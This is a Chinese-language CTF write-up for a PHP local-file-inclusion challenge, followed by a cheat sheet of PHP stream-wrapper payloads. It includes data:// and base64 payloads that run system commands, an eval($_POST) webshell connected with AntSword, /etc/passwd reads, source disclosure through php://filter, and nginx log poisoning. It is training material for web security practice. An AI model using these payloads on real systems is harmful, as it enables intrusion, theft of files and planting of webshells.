题目源码:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
函数介绍
strstr():
搜索字符串在另一个字符串中是否出现,如果是,返回字符串及剩余部分,否则返回false
函数不区分大小写strstr(): 搜索字符串在另一个字符串中是否出现,如果是,返回字符串及剩余部分,否则返回false 函数不区分大小写
解决方法
方法一:
?page=PHP://input
然后post传值。
然而我并没有实现。。。
方法二:
?page=data://text/plain,<?php system("ls");?>
就直接可以惊醒操作
?page=data://text/plain,<?php system("cat 文件名");?>
最好使用base64 加密后拼接使用
http://111.200.241.244:56881/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2B
注意协议后 plain后面是; 不是,
其次 <?php system("ls")?> --> <?php system("ls")?> 是可以直接使用的
还有一个函数dir
dir 是显示目录下文件名称 <?php system("dir")?> ----> PD9waHAgc3lzdGVtKCJkaXIiKT8+ 会出现+ 浏览器不认识+ 所以base64 编码之后 把 + 号 再次URL编码 即可 PD9waHAgc3lzdGVtKCJkaXIiKT8%2B
之后操作同理:
http://111.200.241.244:56881/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
方法三
payload和方法二 差不多
http://111.200.241.244:56881/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbNjY2XSk7ID8%2B
PD9waHAgZXZhbCgkX1BPU1RbNjY2XSk7ID8+ ----> <?php eval($_POST[666]); ?>
中国蚁剑连接
上述payload就是 URL地址
连接密码就是 666
伪协议
file:// ?file=file:///etc/passwd
php://filter ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input ?file=php://input POST DATA
zip:// ?file=zip:///tmp/1.zip%231.txt
compress.bzip2:// ?file=compress.bzip2://./file.bz2
compress.zlib:// ?file=compress.zlib://./file.gz
data:// ?file=data://text/plain, or ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
?file=data:text/plain, or ?file=data.text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
phar:// ?file=phar://php.zip/php.jpg
利用日志文件包含:
Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去。
构造请求 :<?php eval($_GET[2]);?> 然后访问:
url/?file=/var/log/nginx/access.log&2=system('ls');
一定要先看一下 目录 ls一下 否则你直接查看flag.php这不就访问不到啦!!!!
PHP中 无后缀文件 只有SESSION 在 ctf.show web 82 的代码脚本中有
文件包含漏洞 日志注入 还可以 通过一句话木马 连接蚁剑 然后访问做题 BP 抓包 然后 传入。。OK 有视频 !!!!
伪协议的常见用法:
1.php伪协议
用法
php://input,用于执行php代码,需要post请求提交数据。
php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
不需要开启allow_url_fopen:php://filter
2.、data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
3.、file协议
用法:
file://[本地文件系统的绝对路径]